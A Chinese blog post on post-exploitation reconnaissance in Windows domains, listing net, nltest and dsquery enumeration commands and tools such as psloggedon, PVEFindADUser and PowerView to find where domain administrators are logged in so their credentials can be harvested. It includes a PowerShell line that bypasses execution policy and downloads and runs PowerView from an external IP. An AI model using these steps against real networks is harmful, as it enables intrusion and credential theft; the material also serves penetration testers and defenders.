浅谈内网信息收集之定位域管理员

在有域的环境中,要进行进一步渗透,一定会向域管理员权限靠拢的

关于之前域内信息收集的命令,我在之前文章有整理过

今天不提信息收集,毕竟信息收集是个大活,也写不完

关于横向移动和hash抓取,我之前文章也有讲

 

今天就说如何在信息收集中,定位域管理员的小知识点

 

从域内一台机器上,定位域管理员有两种渠道,要么日志,要么会话

日志可以导出查看、会话的话,康康域中机器的登录会话是哪一个,也许有意外收获

 

0x00 前言

先做一些准备工作,递进关系

 

在域中任意机器上执行

net view /domain

 

 查看当前域名

 

net view /domain:域名

查看域内部所有计算机名

 

net group /domain

查看域内部所有用户组列表

 

net group "domain computers" /domain

查看所有域成员计算机列表

 

net accounts /domain

查看域密码信息

 

nltest /domian_trusts

获取域信任信息

 

nltest /DCLIST:域名

查看域控制器机器名

 

net time /domain

查看当前时间,因为时间服务器也是主域服务器,可以看到域服务器的机器名

 

net group "Domain Controllers" /domain

查看域控制器组,因为可能有不止一台域控,有主备之分

 

net user /domain

查询域内用户,会看到熟悉的krbtgt用户

 

wmic useraccount get /all

获取域内用户详细信息

 

dsquery user

查看域内存在的用户

 

net localgroup administrators

查看本地管理员用户组

 

net group "domain admins" /domain

查询域管理员用户

 

......那么问题来了

既然可以查到域中有哪些域管理员账号,那这篇文章讲什么呢?

讲的是定位,看一眼,有哪些账号登录了哪些机器,不然你抓密码都不知道去哪抓

 

0x01 psloggedon.exe

下载链接  https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon

pstools大礼包中自带此工具

此工具用于查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户

psloggedon.exe [-] [-l] [-x] [\\computername或username]

 

 

 \\后面接的是域控机器名,看一下登录过域控的用户名

如果\\接的是用户名,那就会搜索网上邻居的计算机,并显示当前用户是否已经登录

 

据说此工具某些功能需要管理员权限,我也没测试出具体哪些功能有限制

后面接用户名可以查看此用户登录过的计算机

不过此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器,如果无法读取或者读取注册表失败,此工具效果很差

 

 

0x02 PVEFindADUser.exe

下载链接 https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn

功能也是查找域用户位置、某计算机上登录用户。运行需要计算机支持framework2.0且以管理员权限运行

直接pvefinaduser.exe -current,一把梭,即可查看域中所有计算机的登录用户

但是貌似系统判断精准度有些问题。。。

 

 

0x03 PowerView.ps1 脚本

下载链接 : https://github.com/PowerShellEmpire/PowerTools

Invoke-UserHunter:找到域内特定的用户群

 打开powershell,进入Recon目录,输入Import-Module .\PowerView.ps1    导入脚本

然后输入Invoke-UserHunter

 

 即可获得所有域管理员的登录位置信息

 

 我这是在本机演示的,有此工具,实际上可能目标机器并没有这个工具,那就需要远程导入了

比如

powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://外网IP/powersploit/Recon/PowerView.ps1');Invoke-UserHunter

类似这种的情况可能多一些

 

补充:

如果我们上一步确定了域管理员登录了哪台机器,可以通过寻找域管理员登录进程,来收集域管理员凭据

啊,但是,可能你获得权限的登录这台机器的用户不是域管理员权限用户,且没有管理员权限的用户登录过这台机器,那就比较蛋疼

 

比如在你获取权限的机器上执行:

net group "Domain Admins" /domain 获取域管理员列表

tasklist /v 列出本机所有进程及进程用户

如果有域管理员登录这台机器就会有匹配的进程了

但大多数情况下不会有这么好运气

 

 另:PowerView是个好东西

 

未经允许,禁止转载

posted @ 2020-12-11 20:50  anoldcat  阅读(2990)  评论(0编辑  收藏  举报